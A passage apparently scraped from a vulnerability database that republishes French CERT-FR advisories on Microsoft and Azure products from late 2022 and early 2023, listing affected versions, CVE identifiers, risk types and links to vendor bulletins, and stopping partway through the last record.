| Microsoft | N/A | Microsoft SQL Server 2014 Service Pack 3 pour systèmes 32 bits (GDR) |
References
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Microsoft Exchange Server 2013 Cumulative Update 23",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2017 version 15.9 (includes 15.0 - 15.8)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "HoloLens 1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (CU 18)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 11",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2022 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2016 Cumulative Update 23",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (CU 4)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2019 version 16.11 (includes 16.0 - 16.10)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 Unified Service Desk",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Power BI Report Server - January 2023",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 Azure Connectivity Pack",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour syst\u00e8mes 32 bits",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft 365 Apps pour Enterprise pour 64 bits Systems",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Print 3D",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2017 pour syst\u00e8mes x64 (CU 31)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Visual Studio 2022 version 17.4",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2019 pour syst\u00e8mes x64 (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender pour IoT",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Defender Security Intelligence Updates",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Dynamics 365 (on-premises) version 9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft Exchange Server 2019 Cumulative Update 12",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "3D Builder",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2014 Service Pack 3 pour syst\u00e8mes 32 bits (GDR)",
"product": {
"name": "N/A",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-21715",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21715"
},
{
"name": "CVE-2023-21568",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21568"
},
{
"name": "CVE-2023-23379",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23379"
},
{
"name": "CVE-2022-23521",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23521"
},
{
"name": "CVE-2023-21567",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21567"
},
{
"name": "CVE-2023-21718",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21718"
},
{
"name": "CVE-2023-21716",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21716"
},
{
"name": "CVE-2023-21572",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21572"
},
{
"name": "CVE-2019-15126",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-15126"
},
{
"name": "CVE-2023-21705",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21705"
},
{
"name": "CVE-2023-21529",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21529"
},
{
"name": "CVE-2023-21710",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21710"
},
{
"name": "CVE-2023-21571",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21571"
},
{
"name": "CVE-2023-21778",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21778"
},
{
"name": "CVE-2023-21809",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21809"
},
{
"name": "CVE-2023-23390",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23390"
},
{
"name": "CVE-2023-23377",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23377"
},
{
"name": "CVE-2023-23381",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23381"
},
{
"name": "CVE-2023-21566",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21566"
},
{
"name": "CVE-2023-21806",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21806"
},
{
"name": "CVE-2023-21807",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21807"
},
{
"name": "CVE-2023-21714",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21714"
},
{
"name": "CVE-2023-21706",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21706"
},
{
"name": "CVE-2023-21713",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21713"
},
{
"name": "CVE-2023-21808",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21808"
},
{
"name": "CVE-2023-21573",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21573"
},
{
"name": "CVE-2023-21528",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21528"
},
{
"name": "CVE-2023-41953",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-41953"
},
{
"name": "CVE-2023-21704",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21704"
},
{
"name": "CVE-2023-21570",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21570"
},
{
"name": "CVE-2023-21707",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21707"
},
{
"name": "CVE-2023-21815",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21815"
},
{
"name": "CVE-2023-23378",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23378"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21716 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21716"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21713 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21713"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2019-15126 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-15126"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21566 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21566"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21808 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21808"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21705 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21705"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21707 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21707"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21568 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21568"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21571 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21571"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21806 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21806"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21573 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21573"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21570 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21570"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21572 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21572"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21714 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21714"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23379 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23379"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23377 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23377"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21815 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21815"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21710 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21710"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21715 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21715"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21718 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21718"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21706 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21706"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21529 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21529"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21528 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21528"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-23521 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23521"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23378 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23378"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21704 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21704"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21567 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21567"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23390 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23390"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21807 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21807"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21809 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21809"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21778 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21778"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-41953 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41953"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23381 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23381"
}
],
"reference": "CERTFR-2023-AVI-0133",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-02-15T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "D\u00e9ni de service"
},
{
"description": "Contournement de la fonctionnalit\u00e9 de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eles produits Microsoft\u003c/span\u003e. Elles permettent \u00e0 un\nattaquant de provoquer une usurpation d\u0027identit\u00e9, une ex\u00e9cution de code\n\u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges, une atteinte \u00e0 la\nconfidentialit\u00e9 des donn\u00e9es, un contournement de la fonctionnalit\u00e9 de\ns\u00e9curit\u00e9 et un d\u00e9ni de service.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits Microsoft",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0132
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une usurpation d'identité, une élévation de privilèges, une atteinte à la confidentialité des données et une exécution de code à distance.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Microsoft | Azure | Azure DevOps Server 2022 | ||
| Microsoft | Azure | Microsoft SQL Server 2016 pour systèmes x64 Service Pack 3 Azure Connectivity Pack | ||
| Microsoft | Azure | Azure App Service on Azure Stack Hub | ||
| Microsoft | Azure | Azure DevOps Server 2020.1.2 | ||
| Microsoft | Azure | Azure Stack Edge | ||
| Microsoft | Azure | Azure Machine Learning | ||
| Microsoft | Azure | Azure Data Box Gateway |
References
| Title | Publication Time | Tags | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure DevOps Server 2022",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Microsoft SQL Server 2016 pour syst\u00e8mes x64 Service Pack 3 Azure Connectivity Pack",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure App Service on Azure Stack Hub",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure DevOps Server 2020.1.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Stack Edge",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Machine Learning",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Data Box Gateway",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-21553",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21553"
},
{
"name": "CVE-2023-21777",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21777"
},
{
"name": "CVE-2023-21564",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21564"
},
{
"name": "CVE-2023-21703",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21703"
},
{
"name": "CVE-2023-23382",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-23382"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21703 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21703"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-23382 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23382"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21777 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21777"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21553 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21553"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21564 du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21564"
}
],
"reference": "CERTFR-2023-AVI-0132",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-02-15T00:00:00.000000"
}
],
"risks": [
{
"description": "Usurpation d\u0027identit\u00e9"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 corrig\u00e9es dans \u003cspan\nclass=\"textit\"\u003eMicrosoft Azure\u003c/span\u003e. Elles permettent \u00e0 un attaquant\nde provoquer une usurpation d\u0027identit\u00e9, une \u00e9l\u00e9vation de privil\u00e8ges, une\natteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es et une ex\u00e9cution de code \u00e0\ndistance.\n",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 14 f\u00e9vrier 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2023-AVI-0024
Vulnerability from certfr_avis - Published: - Updated:
Une vulnérabilité a été corrigée dans Microsoft Azure. Elle permet à un attaquant de provoquer une élévation de privilèges.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Service Fabric 8.2",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric 9.0",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Azure Service Fabric 9.1",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2023-21531",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-21531"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2023-21531 du 10 janvier 2023",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21531"
}
],
"reference": "CERTFR-2023-AVI-0024",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2023-01-11T00:00:00.000000"
}
],
"risks": [
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "Une vuln\u00e9rabilit\u00e9 a \u00e9t\u00e9 corrig\u00e9e dans \u003cspan class=\"textit\"\u003eMicrosoft\nAzure\u003c/span\u003e. Elle permet \u00e0 un attaquant de provoquer une \u00e9l\u00e9vation de\nprivil\u00e8ges.\n",
"title": "Vuln\u00e9rabilit\u00e9 dans Microsoft Azure",
"vendor_advisories": [
{
"published_at": null,
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft du 10 janvier 2023",
"url": "https://msrc.microsoft.com/update-guide/"
}
]
}
CERTFR-2022-AVI-1105
Vulnerability from certfr_avis - Published: - Updated:
De multiples vulnérabilités ont été corrigées dans Microsoft Azure. Elles permettent à un attaquant de provoquer une atteinte à la confidentialité des données, une exécution de code à distance, une élévation de privilèges, un déni de service et un contournement de la fonctionnalité de sécurité.
Solution
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
NoneImpacted products
References
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Azure Network Watcher VM Extension",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
},
{
"description": "Windows Server 2022 Datacenter: Azure Edition",
"product": {
"name": "Azure",
"vendor": {
"name": "Microsoft",
"scada": false
}
}
}
],
"affected_systems_content": null,
"content": "## Solution\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des\ncorrectifs (cf. section Documentation).\n",
"cves": [
{
"name": "CVE-2022-44669",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44669"
},
{
"name": "CVE-2022-44674",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44674"
},
{
"name": "CVE-2022-44667",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44667"
},
{
"name": "CVE-2022-44683",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44683"
},
{
"name": "CVE-2022-41094",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41094"
},
{
"name": "CVE-2022-44707",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44707"
},
{
"name": "CVE-2022-41074",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41074"
},
{
"name": "CVE-2022-44670",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44670"
},
{
"name": "CVE-2022-41076",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41076"
},
{
"name": "CVE-2022-44675",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44675"
},
{
"name": "CVE-2022-44680",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44680"
},
{
"name": "CVE-2022-44681",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44681"
},
{
"name": "CVE-2022-44666",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44666"
},
{
"name": "CVE-2022-41121",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41121"
},
{
"name": "CVE-2022-44682",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44682"
},
{
"name": "CVE-2022-44689",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44689"
},
{
"name": "CVE-2022-44671",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44671"
},
{
"name": "CVE-2022-44678",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44678"
},
{
"name": "CVE-2022-41077",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-41077"
},
{
"name": "CVE-2022-44698",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44698"
},
{
"name": "CVE-2022-44676",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44676"
},
{
"name": "CVE-2022-44699",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44699"
},
{
"name": "CVE-2022-44679",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44679"
},
{
"name": "CVE-2022-44697",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-44697"
}
],
"links": [
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44674 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44674"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44679 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44679"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41094 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41094"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-41074 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41074"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44670 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44670"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44698 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44698"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44681 du 13 d\u00e9cembre 2022",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44681"
},
{
"title": "Bulletin de s\u00e9curit\u00e9 Microsoft CVE-2022-44678 du 13 d\u00e9cembre 2022",
